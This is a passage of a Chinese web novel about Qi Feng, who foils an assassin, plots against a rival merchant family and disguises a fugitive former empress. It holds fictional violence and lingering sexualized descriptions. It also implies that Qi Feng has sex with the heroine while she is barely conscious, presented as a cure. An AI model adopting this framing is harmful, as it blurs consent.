王氏点头,泪水又涌上来:“是啊,大牛,齐公子那话说得对,孩子的命不能耽误。咱们拿了这银子,赶紧给小宝找个好大夫,治好了病,往后得好好做人,再不能干那缺德事了!”
张大牛握紧王氏的手:“娘子,齐公子给了咱们一条生路。日后我就是砸锅卖铁,也得堂堂正正做人!那蒙面人给的药丸,差点要了我的命,幸亏齐公子医术高明,不然……我都不敢想。”
王氏低声道:“那蒙面人,心忒毒了!给咱银子时说得好听,事成还有赏,结果害得你差点没命。大牛,咱以后得长点心眼,不能再信那些鬼话了。”
张大牛苦笑:“我这辈子算是长了教训。想想都后怕。娘子,咱得记住这恩情,往后若有机会,定要报答齐公子!”
二人边走边说,青石板路渐渐被土路取代,路边低矮的屋舍在暮色中显得越发破败。
他们的小院就在巷子尽头,篱笆半塌,院内一棵老槐树在风中摇曳,发出沙沙的声响。
王氏推开柴门,回头看了眼张大牛:“大牛,咱得给小宝熬药了。这二十两,够他看病抓药好些日子了。”
张大牛点头,眼中闪过一丝希冀:“嗯,齐公子给的银子,咱得省着点用。小宝的病拖不得,明天就去请城东的王大夫。”
二人走进院子,推开木门,屋内昏暗,只有一盏油灯摇曳,照亮了破旧的桌椅和角落里小宝睡的小床。
孩子咳嗽声断续传来,刺得二人心头一痛。
王氏快步走去,摸了摸孩子的额头,喃喃道:“小宝,娘回来了,很快就能给你治病了……”
张大牛站在门口,叹了口气,刚要关门,忽觉一阵阴风从背后袭来。他猛地回头,只見巷子尽头的黑暗中,一道黑影如鬼魅般闪出,手中寒光一闪,竟是一柄短刀,直刺他后心!
王氏察觉不对,尖叫一声:“大牛!小心!”
张大牛仓促转身,短刀已近身侧,刀锋在昏黄灯光下泛着森冷寒芒。
他心头一凉,腿软得几乎站不住,脑中只剩一个念头:完了!这蒙面人竟要**灭口!
王氏扑上前,想推开张大牛,却被黑影一掌拍开,摔倒在地,痛呼出声。
黑影冷笑,刀锋毫不停顿,直刺张大牛胸口。
就在这千钧一发之际,一只大手从黑暗中探出,铁钳般扣住黑影的手腕,硬生生将刀锋止住!
张大牛惊魂未定,抬头一看,只见一个身影从黑暗中走出,面容清秀,眼神却带着几分戏谑,正是富贵!
富贵咧嘴一笑,声音如闷雷:“你们这帮鼠辈,我家少爷早料到你们会来这一手!想**灭口?先问问你富贵爷爷的拳头!”
黑影一惊,抽刀欲退,却发现手腕
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被富贵扣得死死的,动弹不得。
他低喝一声,另一手从腰间拔出一把**,迅如毒蛇,刺向富贵咽喉。
富贵冷哼,身子一侧,粗壮的手臂如铁柱横扫,狠狠拍在黑影手臂上,**应声落地。
黑影不甘,脚下猛地一踏,身形如燕,想要跃出院子逃走。富贵哪肯放过,大步追上,一拳轰出,拳风呼啸,带起一阵尘土。
黑影侧身避开,短刀反撩,划向富贵腰侧,刀光如匹练,在夜色中划出一道寒芒。
富贵哈哈一笑,身子灵活得像头豹子,猛地矮身,避过刀锋,右拳如炮弹出,直击黑影胸口。
黑影闷哼一声,踉跄后退,嘴角渗出一丝血迹。
他眼中闪过狠色,双手握刀,猛地跃起,刀锋直劈富贵头顶,势如雷霆。
张大牛与王氏抱在一起,吓得瑟瑟发抖,只敢躲在角落看着这惊心动魄的交手。
院子里尘土飞扬,刀光拳影交错,富贵的拳头如铁锤,每一击都带起呼呼风声,黑影的刀法虽快,却渐渐落了下风。
富贵冷笑:“就这点本事,也敢来**?看你富贵爷爷收拾你!”
他猛地抓住黑影一刀劈来的空隙,左掌拍出,掌风如山,直接震得黑影刀锋一偏,露出破绽。
富贵趁势欺身而上,右拳如流星,狠狠砸在黑影胸口。
黑影惨叫一声,跌出数步,短刀脱手,摔在地上。
他挣扎着想爬起,富贵已大步上前,一脚踩住他胸口,冷声道:“还想跑?门儿都没有!”
黑影咬牙,眼中满是怨毒,忽地从袖中甩出一把飞镖,直射富贵面门。
富贵头一偏,飞镖擦着耳侧飞过,钉在身后的老槐树上,发出“铮”的一声。
他怒喝:“找死!”
一掌拍出,掌力如山,狠狠击在黑影肩头。
黑影再也支撑不住,闷哼一声,瘫倒在地,气息微弱。
富贵哈哈一笑,俯身一把将黑影扛在肩上,哼道:“鼠辈,敢在我家少爷眼皮底下耍花招?回去慢慢审你!”
第一百四十六章 旧毒复发
富贵扛着昏迷的**,大步流星地准备离开张大牛的小院。
临走前,他忽地停下脚步,转头看向瑟缩在角落的张大牛与王氏,咧嘴一笑:“行了,你们俩没事了。安心过日子,别再干傻事。”
他从怀中掏出一张折叠的药方,甩手丢给张大牛,哼道:“这是我家少爷开的方子,给你们那病娃娃抓药,一个月后,病根准能拔了。别忘了谢我家少爷!”
张大牛愣住,接过药方,粗糙的手指摩挲着纸张,眼中闪过一丝震撼。
王氏泪眼汪汪,扑通跪下,颤声道:“齐公子大恩,我们夫妻永世不忘!”
张大牛也反应过来,跟着跪下,朝富贵离开的方向重重磕头:“齐公子,您救我命,又救我儿,我们没齿难忘!日后定做善事,报答您的恩情!”
富贵背着**,大步迈入夜色,耳边传来夫妇二人的叩头声与感激之词。
他摇了摇头,嘴角勾起一抹笑意,心中暗道:“少爷这人,真是让人看不透。今日在大庭广众之下,救了张大牛的命,还给了银子,却把治孩子病的方子留到这时候才给,分明是不想显露太多医术。够聪明!若真把一身本事全抖出来,怕是会惹人怀疑!”
富贵一边走,一边回想齐枫今日在锦绣阁的种种作为,心中对于齐枫越发佩服。
夜色渐深,醉月楼的厢房内,灯火摇曳,酒香四溢。
齐枫与众人围坐一桌,桌上摆满珍馐美酒,杯觥交错,笑声不断。
赵明兰,周子陵,陈玉堂,楚清秋,徐远,柳若雪等人皆在。
赵明兰举杯,俏脸微红,娇声道:“齐枫,今日你那手仁义之举简直帅炸了,我佩服!”
周子陵哈哈大笑,举杯道:“齐兄心胸府城无人能及!袁克良那小人,今晚估计得气得睡不着!”
陈玉堂沉声道:“齐兄今日一举,不光保住铺子,还扬了名,牛!”
楚清秋坐在齐枫身侧,面纱轻垂,眼中带着一抹柔和笑意,静静看着他,似有千言万语藏于心底。
齐枫笑眯眯道:“诸位谬赞,齐某不过做了该做的事。锦绣阁能有今日,全靠大家支持。来,干了这杯!”
众人举杯共饮,笑声回荡,窗外夜色如墨,月光透过窗棂,洒在众人身上。
就在此时,厢房门“砰”地被推开,富贵大步迈入,肩上扛着的黑衣**被他随意一甩,重重摔在地上,发出闷响。
**昏迷不醒,脸上蒙着黑布,短刀掉落一旁,散发着森冷寒光。
众人齐齐一愣,目光从酒杯转向地上的黑衣人,厢房内的笑声戛然而止。
赵明兰瞪大眼睛,惊呼:“这……这是啥情况?哪来的家伙?”
周子陵猛地站起,皱眉道:“这人是谁?怎么被打成这样?”
楚清秋柳眉微蹙,目光落在**身上,眼中闪过一丝警觉。
齐枫目光扫过地上的**,嘴角勾起一抹意味深长的笑意,似早有预料。
他淡声道:“富贵,说说吧。”
富贵咧嘴一笑,粗声道:“少爷,这家伙是去杀张大牛和王氏的凶手!幸亏我家少爷早料到有人会**灭口,特意让我盯着那两口子。这鼠辈刚拔刀想下手,就被我揍晕了!”
周子陵拍案而起,怒声道:“好歹毒!张大牛他们都招了,居然还有人敢**灭口?这是要斩草除根啊!”
赵明兰气得俏脸通红,指着地上的**道:“这帮人真不是东西!齐枫,你仁义放过了张大牛他们,他们还下这毒手!得赶紧把我叔父叫来,把这家伙审个底朝天!”
齐枫摆手,笑眯眯道:“明兰姑娘,莫急,这人暂时不能送去府衙,他还有用处。”
赵明兰瞪着地上的**,转头看向齐枫,疑惑道:“齐枫,这家伙留着有什么用?直接送去府衙,让我叔父审他不就得了?”
齐枫缓缓道:“明兰姑娘,袁氏在府城根深蒂固,家大业大,就算我们真能证明这事是袁克良指使的,怕也难动他根本。到头来,府衙多半会大事化小,小事化了,袁克良照样逍遥。更何况,他背后还有萧无痕撑腰,硬碰硬,咱们未必占便宜。”
周子陵皱眉,点头道:“齐兄说得在理。袁氏在府城盘踞多年,商贾官场都有人脉,想扳倒袁克良,谈何容易?”
陈玉堂冷哼:“萧无痕那家伙表面冷冰冰,谁知道他和袁克良什么关系?齐兄说得对,硬来怕是讨不了好。”
赵明兰柳眉一挑,叉腰道:“那你打算怎么办?总不能让这家伙白白跑了!”
齐枫笑眯眯地缓缓道:“这**,既然敢来**灭口,必定知道些内情。咱们不急着送他去府衙,而是要借他布一局,钓出袁克良的狐狸尾巴。”
赵明兰眼睛一亮,追问道:“布什么局?你说清楚点!”
齐枫目光微眯:“袁克良既然敢派人**灭口,说明他急了,怕张大牛夫妇说出更多对他不利的事,这**,八成是袁氏的死士,身上定有线索。我的计划是,先不惊动袁克良,放出风声,就说这**被我扣下,但还没醒,暂时关在锦绣阁。袁克良心虚,必定会派人探查,甚至亲自出手救人。到时,咱们设下埋伏
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,抓他个现行!”
周子陵一拍大腿,惊道:“好计!齐兄,你这是要引蛇出洞!袁克良若真派人来救,等于自己跳进坑里!”
陈玉堂点头:“这法子狠!袁克良那小子心虚之下,准会露出马脚!”
柳若雪掩嘴轻笑:“齐公子这计策,环环相扣,袁克良怕是要吃个大亏。”
赵明兰拍手:“这么一说,这**留着,果然比直接送府衙有用多了!”
齐枫摆手,笑得从容:“诸位过奖了。袁克良既然敢玩阴的,咱们就陪他玩到底。富贵,回头你把这**关到锦绣阁后院,找几个信得过的人看着,别让他跑了。记住,风声要放得巧妙,不能太明显。”
富贵咧嘴:“少爷放心,这事交给我!保证让袁克良急得跳脚!”
齐枫继续道:“咱们还要做两手准备。第一,派人盯着袁府,看看袁克良最近跟谁走得近,尤其是萧无痕那边,有没有异动。第二,锦绣阁这几天要装作若无其事,生意照做,但暗中布好人手。一旦袁克良派人来探,咱们就瓮中捉鳖!”
赵明兰听得眼睛发亮:“这计划简直滴水不漏!我赞同!”
南宫玥也眸光闪烁,柔声道:“齐郎对张大牛夫妇仁心如佛,对袁克良这等小人却有修罗手段,真是让人叹服。”
齐枫笑眯眯道:“计划虽好,还需小心行事,袁克良不是省油的灯,咱们得步步为营。今日天晚了,大家先回去休息,养足精神,明日再细商。”
众人纷纷点头,各自起身,带着满心的佩服离去。
富贵扛起地上的**,嘿嘿一笑,也离开了。
小荷蹦蹦跳跳的跟着送人去了,厢房内,很快只剩齐枫与楚清秋二人。
楚清秋轻移莲步,走近齐枫,面纱下的嘴角微微上扬,正要开口,忽地脸色一变,纤手猛地捂住胸口,娇躯一晃,似承受剧痛,气息急促。
“少爷……我……我有些不适……”
齐枫迅速上前扶住她:“清秋,怎么回事?”
他一把扣住楚清秋的皓腕,细细诊脉,脸色渐沉:“你体内有股阴寒之气,极为霸道,怕是旧疾复发,侵入心脉!必须以纯阳真气中和,否则……”
楚清秋神志渐模糊:“少爷……我没事……你莫要担心……”
齐枫目光一沉,果断道:“不可拖延!”
他扶着楚清秋坐下,深吸一口气,轻轻解开她的外衫,露出她如玉般的肌肤,肩头如削,腰肢纤细如柳,胸前曲线高耸而又柔美,如同雪中绽放的寒梅,带着一丝清冷却又动人心魄的美。
第一百四十八章 改头换面
门外的小荷嘟囔一句:“哼,少爷又偷懒!”
脚步声渐渐远去,厢房内重新归于安静。
齐枫的目光重新落在楚清秋身上,此刻的她,面纱早已滑落,露出完整的容颜。
昨夜的阴寒毒素已被他的纯阳之气彻底驱散,她那半边曾如修罗般可怖的脸庞,如今完全恢复,宛如天工雕琢。
她的脸型精致如画,眉如远山,目若星辰,鼻梁高挺,唇瓣如樱,肤色白皙得仿佛能透出光来,带着一种超凡脱俗的美感。
她的气质更是无与伦比,高贵中透着清冷,坚韧又柔媚,宛如九天仙女下凡。
那种美,不仅是皮相,更是骨子里散发出的独特韵味,令人心魂摇曳。
齐枫前世纵横花丛,与无数绝色佳人,甚至当世顶尖的明星,皇室公主有过纠葛,那些女子或妖娆或清纯,各有千秋。
然而此刻,面对楚清秋,他却觉得那些所谓的美人皆黯然失色。
她的美是独一无二的,像是天上的皓月,孤高耀眼,带着一种让人心悸的震撼。
他盯着她,目光几乎挪不开,心头暗道:“这女人简直美得犯规!全世界见过的美人加起来,怕也没她一个手指头来得惊艳!”
楚清秋察觉到他炽热的目光,脸颊一红,羞涩,不安交织。
她连忙拉起被子,遮住自己赤条的身体,只露出一双清亮的眼睛,带着几分嗔怪:“少爷,你这样盯着我,是被我这张脸吓到了吗?”
她带着一丝自嘲,仿佛又回到了那段被拍卖,被嫌弃的**时光。
齐枫一愣,摇头笑道:“吓到?青禾你这话可冤枉我了!”
他翻身下床,赤裸的身体在晨光中显得健硕有力,肌肉线条流畅,带着一股阳刚之气。
他走到桌旁,拿起一面铜镜,大步走回床边,递到她面前,笑眯眯道:“你自己瞧瞧,这张脸哪有半点吓人的地方?简直美得让天上的仙女都得嫉妒!”
楚清秋疑惑地接过铜镜,定睛一看,顿时愣住。
镜中的自己,容颜如玉,毫无半点瑕疵,那曾被毒素侵蚀的半边脸庞,如今光洁如初,甚至比她记忆中的盛年还要美上三分。
她的眼眶渐渐泛红,指尖轻抚着脸颊,泪水如断线珍珠般滑落,滴在被子上,发出轻微的声响。
她的内心翻江倒海,思绪如潮水般涌来。
曾经,她是乾国女帝,高高在上,万人敬仰,容貌与气场震慑四方。
可**之后,她沦为奴仆,在拍卖行被人随意践踏尊严,脸上的毒疮更是让她从云端坠入深渊。
那段时间,她无数次站在绝望的边缘,甚至想过一头撞死,结束这**的一生。
遇到齐枫后,一切开始改变。
他从拍卖行将她救下,护她周全,用医术和他的心一点点唤醒她死寂的心。
如今,她不仅恢复了容貌,连体内的毒素也尽数清除,甚至连昔日的武道修为也恢复了八成,剩余两成,只需时日调养,便能尽复旧观。
楚清秋的泪水越流越多,喜悦,感激交织,心情澎湃得几乎无法自抑。
她捧着脸,喃喃道:“我……我终于回来了……”
她想到自己从女帝到奴仆的落差,想到那些暗无天日的日子,想到齐枫昨夜不惜以身相救,她的心头既酸涩又温暖。
这一切,都是因为眼前这个男人!
她抬起头,正想开口对齐枫说些什么,却猛地看到他赤裸着站在床边,在晨光中若隐若现,阳刚之气扑面而来。
楚清秋脸颊瞬间红得像熟透的苹果,惊呼一声,赶紧转过头,声音又羞又急:“少爷!你,你快把衣服穿上!”
齐枫一愣,一看自己光溜溜的样子,顿时尴尬地干咳一声:“咳,失误失误!”
他连忙抓起一旁的衣衫,三两下套上,系好腰带,转头看楚清秋时,见她也裹着被子,匆匆穿上了一件薄衫。
她的动作虽快,但那曼妙的身形在被子滑落时仍露出一抹雪白
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的曲线,胸前的雪丘若隐若现,勾得齐枫心头又是一跳。
厢房内的气氛微妙得让人窒息。
齐枫挠了挠头,刚想开口打破沉默,楚清秋却抢先一步:“少爷,昨夜之事,我知你是情急之下为救我性命,才……才如此。我不是那等扭捏的小女子,不会因此缠着你负责。你大可放心,日后我们还是如常相处。”
齐枫张了张嘴,听到她这番话,眼中闪过一丝复杂。
他本想说些什么,但见她态度如此坚决,似不愿多提昨夜之事,便暂时压下话头,笑眯眯道:“青禾,你想多了。我齐枫做事,向来不后悔。昨夜之事,救你为先,其他的……咱们日后再说。”
楚清秋闻言,低头不语,眼中却闪过一丝失落。
她咬着唇,似在掩饰内心的波澜。
片刻后,她抬起头,目光中多了一抹忧色:“少爷,我容貌恢复,固然是喜事,可如今这张脸……怕是会引来麻烦。萧无痕他们一直在追查我的身份,若被他们察觉,我怕会连累你和锦绣阁。”
齐枫看着楚清秋眼中的忧色,嘴角勾起一抹从容的笑意,摆手道:“青禾,谈不上什么连累。这事我自有办法。”
楚清秋柳眉微挑,眼中疑惑更深,忍不住问道:“少爷,你说的办法究竟是什么?”
作夜的亲密与今日的容颜复苏,让她对齐枫的信任更深,但也对他的深不可测多了几分好奇。
齐枫笑眯眯地靠在床柱上,慢悠悠道:“青禾,你可知道富贵?”
楚清秋愣了一下,点头道:“自然知道,他不是老爷给你的贴身护卫,昨夜还抓了那黑衣**,武艺不凡,忠心耿耿。”
她说到这里停顿了下来,隐约觉得齐枫这话别有深意。
齐枫眼中笑意更浓,继续道:“那你可知,为何萧无痕追查了这么多天,却始终抓不到黑风刀段飞?”
他的语气轻描淡写,却像一颗石子投入湖面,激起楚清秋心中的涟漪。
第一百四十九章 美女和绝世美女
楚清秋闻言,先是一脸茫然,轻轻摇了摇头,喃喃道:“黑风刀段飞刀法凌厉,行踪诡秘,萧无痕带人追捕多日,始终无果也是正常吧?”
她说到一半,猛地反应过来,瞪大美眸,盯着齐枫,娇颜带着几分不可置信:“少爷,你该不会是说富贵就是黑风刀段飞?!”
齐枫笑而不语,轻轻点了点头,眼中闪过一抹得意。
楚清秋再也控制不住情绪,纤手捂住嘴,眼中满是震撼。
她盯着齐枫,脑海中将富贵的模样与传说中的黑风刀段飞对比,简直天差地别。
富贵身形虽然也算魁梧,但面容柔和一些,笑起来憨厚得像个庄稼汉,而段飞身形瘦削,刀法快如闪电,气质阴鸷冷厉,完全是两个极端。
齐枫看着她震惊的模样,心头不由得一热,目光在她绝美的脸上流连。
楚清秋此刻的容颜,宛如天仙下凡,眉眼如画,肤若凝脂,那股高贵清冷的气质。
昨夜的疯狂画面在他脑海中闪过,她的雪白胴体、饱满的雪丘,嫣红的顶端,修长的美腿……无一不勾得他心头火热。
他轻咳一声,掩饰住喉头的燥热,笑眯眯道:“青禾,惊讶什么?不过是些小手段,旁枝末节罢了。”
楚清秋定了定神,眼中满是佩服:“少爷,我知世上有易容之术,可骨骼,气质,身形……这些如何能改?尤其是高手,一眼便能看出破绽。我初见富贵时,的确觉得他有些异样,可从未往这方面想。没想到,他竟是黑风刀段飞!若非你亲口说出,我万万不会信!”
她说到这里,眼中闪过一丝好奇,追问道:“少爷,你是想也用这法子帮我?”
齐枫点了点头,眼中闪过一丝精光:“不错,我可用银针引动穴位,牵动肌肉筋骨,重塑你的外貌与身形。如此一来,萧无痕之流纵有通天本事,也认不出你。不过,这法子有个缺陷,施术后,你的实力只能发挥一成左右,若强行动用超过一半的内力,筋骨重塑的假象便会破裂,恢复原貌。”
楚清秋闻言,眼中闪过一丝复杂的情绪。
她身为乾朝女帝,武道修为曾达巅峰,如今虽恢复八成,但若只能用一成实力,的确是大打折扣。
可一想到萧无痕的追杀和自己暴露身份的风险,她咬了咬唇,坚定道:“少爷,我信你。请动手吧。”
齐枫目光在她脸上停留片刻,心中暗叹这女人的果决。
他起身,从随身的包裹中取出一套精致的银针,针尖在晨光下泛着寒光。
他沉声道:“青禾,这法子虽不伤身,但过程有些痛,你需忍住。”
楚清秋深吸一口气,点了点头:“少爷,我准备好了。”
齐枫不再多言,将她扶到榻边坐下,示意她解开外衫,露出肩头与手臂。
楚清秋脸颊微红,犹豫片刻,还是依言褪下薄衫,雪白的肌肤在晨光下泛着柔光,肩头如削,锁骨精致,胸前的曲线若隐若现。
齐枫强压下心头的涟漪,专注地拿起银针,指尖轻动,精准地刺入她肩井穴,曲池穴等数处关键穴位。
每刺入一针,楚清秋的娇躯便微微一颤,眉头紧蹙,强忍着痛楚。
齐枫的动作快而稳,银针在指间翻飞:“青禾,放松身体,跟着我的内力走。”
他掌心贴在她肩头,纯阳内力缓缓注入,沿着银针引导,牵动她体内的筋骨与肌肉。
楚清秋只觉一股暖流在体内游走,肌肉仿佛被无形的手拉扯重组,骨骼发出轻微的“咔咔”声。
她的脸庞渐渐发生变化,原本精致的五官变得没那么惊艳,眉眼拉长,鼻梁稍塌,气质也从清冷高贵转为柔和内敛,宛如一个普通的大家闺秀。
她的身形也微微调整,肩头略宽,腰肢稍粗,彻底掩去了那股女帝的风华。
整个过程持续了约莫一刻钟,齐枫收针,额头渗出细汗,喘了口气道:“成了。青禾,你现在看看镜子。”
楚清秋深吸一口气,拿起铜镜,定睛一看,镜中的自己已全然变了模样。
脸庞不在和自己的真实样貌相像,虽然也算是一个美女,可毫无先前那惊艳天下的美感。
她愣了愣,眼中闪过一丝复杂,有对失去绝美容颜的怅然,也有对齐枫神乎其技的佩服。
“少爷,你这手段……当真匪夷所思。我如
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今这模样,怕是连萧无痕站在面前,也认不出我了。”
齐枫笑眯眯道:“那是自然。我这易容术,连骨骼都能微调,寻常高手哪能看破?不过,青禾,你得记住,切莫动用超过一成的内力,否则伪装立破。”
楚清秋点头,眼中满是敬佩:“少爷,你的医术与谋略,青禾今日算是彻底服了。”
她顿了顿,目光柔和了几分:“多谢你,不仅救我性命,还为我遮掩身份。”
齐枫摆手,笑得从容:“小事一桩。青禾,你如今这模样,足以在府城安稳度日。接下来,咱们还得对付袁克良,步步为营才是。”
楚清秋正要回应,目光却不经意落在铜镜中。
那张平凡的脸庞映入眼帘,她心头一震,思绪翻涌。
刚刚,她还为容颜复苏而喜极而泣,现在却又要隐藏这张脸,化作普通女子。
身为乾朝女帝,她曾站在权力的巅峰,如今却要隐姓埋名,寄人篱下。
这种落差,让她心头百感交集。
可一想到齐枫,她的心又渐渐温暖。
她握紧铜镜,暗道:“只要能复国,这一切都值得:”
她抬头,正要对齐枫说些什么,却见他笑眯眯地盯着她,眼中带着几分戏谑。
她脸颊一红:“少爷,别这样看我……这张脸,怕是没什么好看的了。”
齐枫哈哈一笑,摆手道:“青禾,脸是假的,心是真的。你这性子,我是越看越喜欢。”
他顿了顿,目光扫过她的身形,脑海中又闪过昨夜的疯狂,心头一热,咳嗽一声掩饰过去。
楚清秋脸颊更红,嗔道:“少爷,休要胡言。”她低头整理衣衫,掩饰心中的波澜。
厢房内的气氛再度微妙,二人一时无言。
齐枫正要开口,楚清秋却抢先道:“少爷,接下来我们该如何应对袁克良?还有萧无痕,感觉萧无痕一直就在怀疑我们!”
齐枫目光微眯,沉声道:“袁克良那边,我已布好局,只等他自投罗网。至于萧无痕,他若真与袁氏勾结,咱们就得更小心,青禾,你这新容貌是个好掩护,但还需低调行事,免得露出马脚。”
第一百五十章 人心难测
齐枫带着楚清秋离开醉月楼,朝南街的锦绣阁走去。
楚清秋依旧带着面纱,穿着朴素的青衫,低垂着头,跟在齐枫身侧,宛如一个普通侍女。
齐枫瞥了她一眼,嘴角勾起一抹笑意:“青禾,放松些,瞧你这模样,跟做贼似的。”
楚清秋脸颊微红,嗔道:“少爷,我这不是怕露馅吗?你这易容术虽神,可我总觉得不自在。”
她看了看自己的双手,又摸了摸脸庞,叹了口气,心中五味杂陈。
齐枫哈哈一笑,拍了拍她的肩:“放心,有我在,萧无痕那帮人就是长了八只眼,也认不出你!”
二人穿过热闹的街巷,来到南街。
锦绣阁的门前已是人头攒动,琉璃灯下,杭绸蜀锦光彩夺目,吸引了无数贵女夫人驻足品鉴。
店内的伙计忙得脚不沾地,账房先生挥汗如雨地记录订单,柜台上摆满了各色丝绸,色彩斑斓,宛如一幅流动的画卷。
小荷穿梭在人群中,脆生生地招呼着客人,额头渗出细汗,却笑得眉眼弯弯。
南宫玥和柳若雪也在店内帮忙。
南宫玥一袭月白长裙,气质清雅,手持团扇,柔声向几位贵女介绍蜀锦的花纹,举手投足间尽显才女风范。
柳若雪则着一身水红纱裙,腰肢轻摆,笑靥如花,正与几位富商夫人寒暄,言语间巧妙地推销锦绣阁的新品。
两位美人各有千秋,引得店内气氛更加热烈,不少客人都被她们的风采吸引,纷纷下单。
齐枫走进店内,目光扫过这盛况,满意地点了点头。
他朝小荷招手,笑道:“小荷,忙得怎么样?账册可别记错了,不然我可饶不了你!”
小荷撇了撇嘴,叉腰道:“少爷,瞧您说的!账册我记得清清楚楚,一文钱都差不了!倒是您,今天还来得这么迟,哼!”
南宫玥闻声走来,柔声道:“齐郎,锦绣阁今日生意火爆,怕是府城上下都传开了你昨日的仁义之举。不少贵女都说,非锦绣阁的丝绸不买。”
柳若雪也凑过来,掩嘴轻笑:“齐公子,你昨日那手化敌为友的手段,真是让若雪叹服,今日一早,城东的王夫人和城西的李氏姐妹都来了,说要定做几匹上好的杭绸,订单都排到下个月了!”
齐枫笑得从容:“两位姑娘谬赞了。锦绣阁能有今日,全靠大家齐心协力。青禾,你也别闲着,去帮小荷招呼客人,练练手!”
楚清秋闻言,点了点头,低声道:“是,少爷。”
她虽不习惯这种热闹的场面,但还是强压下心中的不适,跟着小荷走进人群,开始帮忙介绍丝绸。
她的声音柔和,带着一股别样的亲和力,引得几位客人频频点头,纷纷夸她懂礼。
店内的生意如火如荼,伙计们忙着裁剪布料,账房先生笔走龙蛇,订单如雪片般飞来。
齐枫站在柜台后,笑眯眯地看着这一切,心中盘算着如何进一步扩大锦绣阁的影响力。
日头渐高,锦绣阁的热闹持续不减。
南宫玥与柳若雪不时与齐枫交换眼神,彼此配合默契,将店内的气氛推向高潮。
一名富商夫人拿着一匹蜀锦,赞不绝口:“这锦绣阁的料子,果然不愧是云州一绝!齐公子真是好眼光,这铺子开得值!”
齐枫拱手,谦逊道:“夫人过奖了。锦绣阁的货色,都是匠人精心织就,夫人若喜欢,随时再来!”
正说话间,门外传来一阵喧哗,一队官兵匆匆经过,似在追查什么。
齐枫目光微眯,对南宫玥道:“月儿,盯着点外头,若有异动,随时告诉我。”
南宫玥点头:“齐郎放心,我会留心。”
与此同时,府城另一端的袁氏府邸内,气氛却如乌云压顶,沉重得让人窒息。
袁克良坐在太师椅上,面色阴鸷,手中茶盏已被他捏得咔咔作响。
袁浩然站在一旁,眉头紧锁:“大哥,那**至今未归,怕是计划失败了。”
袁克良冷
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哼一声,眼中闪过一丝戾气:“失败?那**可是咱们精心挑选的死士,武艺不俗,对付两个普通人,怎会失手?莫不是被齐枫那小子抓了?”
他说到这里,猛地一拍桌子,茶盏应声摔碎,碎片散落一地。
袁浩然皱眉,沉声道:“大哥,齐枫那小子狡猾如狐,昨日在锦绣阁当众放过张大牛夫妇,还给了银子,分明是收买人心。如今城中都在传他仁义无双,咱们若再不小心,怕是要被他彻底压下去!”
袁克良咬牙,眼中满是不甘:“那小子,坏我好事不止一次!锦绣阁的生意越做越大,赵明德和卢正淳那两个老东西还处处帮他,简直欺人太甚!”
他顿了顿,目光阴冷:“浩然,你说,那**若真被齐枫抓了,咱们该怎么办?”
袁浩然低头沉思片刻,沉声道:“大哥,依我看,齐枫多半是将那**扣下,想引咱们露面。咱们得赶紧派人去探探锦绣阁的动静,看看那**是否真在他们手上。若真是,咱们得想办法把他弄回来,否则他若招供,咱们的麻烦就大了!”
袁克良点头,眼中闪过一丝狠色:“说得对!这事不能拖。你立刻派人去锦绣阁附近盯着,找机会把人救出来。齐枫想跟我玩阴的,我倒要看看他有几条命!”
袁浩然正要应声,忽听门外传来一阵急促的脚步声,一个下人跌跌撞撞地冲进大厅,脸色煞白:“大少爷,二少爷,大事不好!”
袁克良和袁浩然齐齐转头,目光如刀,盯着那下人,袁克良猛地起身,怒声道:“什么事?快说!”
那下人满头大汗,扑通跪下,颤声道:“大少爷,二少爷,大事不好!那**……那**被齐枫抓了!”
他喘着粗气,低着头,生怕被袁克良的怒火波及。
袁克良闻言,脸色一沉,眼中闪过一丝寒光,缓缓道:“被抓了?莫不是齐枫故意放出风声,想引咱们上钩?”
他冷笑一声,目光扫向袁浩然。
第一百五十一章 心狠手辣
下人连忙摇头,声音急促:“不,大少爷!齐枫那边似乎还在遮掩消息,像是怕人知道那**被抓了!咱们的人是安插在锦绣阁附近的眼线,偷听到的消息,千真万确!”
袁克良眯起眼睛,沉吟片刻,挥手道:“知道了,你下去吧。”
下人如蒙大赦,匆匆退下。
袁浩然皱眉,眼中闪过一丝不安:“大哥,齐枫这小子果然狡猾!他抓了人却不声张,分明是想布个局,等咱们自投罗网!咱们要不要趁他还不知道咱们已察觉,赶紧把人救回来?”
袁克良冷哼一声,缓缓摇头:“救?风险太大。齐枫那小子心机深沉,锦绣阁八成已布好埋伏,贸然去救,无异于自寻死路。”
他顿了顿,目光一寒,抬起手做了个抹脖子的动作:“不如……直接杀了那**,永绝后患。”
袁浩然一愣,随即眼中闪过一丝狠色,点头道:“大哥说得对!那**若落在齐枫手里,万一招供,咱们的麻烦就大了。不如**灭口,一了百了!”
他顿了顿,压低声音:“可这事得做得隐秘,不能让齐枫抓到把柄。”
袁克良冷笑:“齐枫这小子,分明是故意恶心我!”
他猛地一拍桌子,咬牙切齿:“这**若真招了,咱们袁氏在府城的根基,怕是要动摇了!”
袁浩然点头,沉声道:“大哥,齐枫这人太危险。他不仅有赵明德和卢正淳撑腰,还有南宫玥,柳若雪那帮人帮衬,锦绣阁的生意越做越大,隐隐有压咱们袁氏一头的势头!若再让他抓住咱们的把柄,怕是连萧无痕都保不住咱们!”
袁克良眯起眼睛,缓缓道:“萧无痕……那家伙表面冷冰冰,谁知道他心里打什么算盘?他说要追查乾朝余孽,可至今没抓到人,八成是在跟咱们演戏,想借机敲咱们一笔!”
“不过,这**的事,不能指望萧无痕。咱们得自己动手,找个可靠的人,潜入锦绣阁,把那**做了!”
袁浩然皱眉:“大哥,锦绣阁如今戒备森严,咱们的人想潜进去**,怕是不易。而且,齐枫既然敢扣下**,必定有所防备,咱们得想个万全之策。”
袁克良沉吟片刻:“派咱们的死士,挑深夜动手,务必一击必杀!那**若死在锦绣阁,齐枫就算有通天本事,也洗不清嫌疑!到时候,咱们再放出风声,说齐枫**灭口,毁了他的名声!”
袁浩然眼睛一亮,拍手道:“好计!大哥,这招狠!齐枫若背上**灭口的罪名,赵明德和卢正淳再怎么帮他,也得掂量掂量!咱们这就安排人手,今晚就动手!”
袁克良点头,嘴角勾起一抹冷笑:“对,今晚就动手!齐枫,我倒要看看,你这次还能翻出什么花样!”
他顿了顿,目光阴沉:“浩然,你亲自去挑人,务必选最可靠的死士,这事不能有半点差错!”
袁浩然抱拳,沉声道:“大哥放心,我这就去办!”
他转身,大步离开大厅。
与此同时,锦绣阁后院的一间隐秘厢房内,气氛却截然不同。
厢房四壁厚实,门窗紧闭,只有一盏昏黄的油灯摇曳,映得室内光影幢幢。
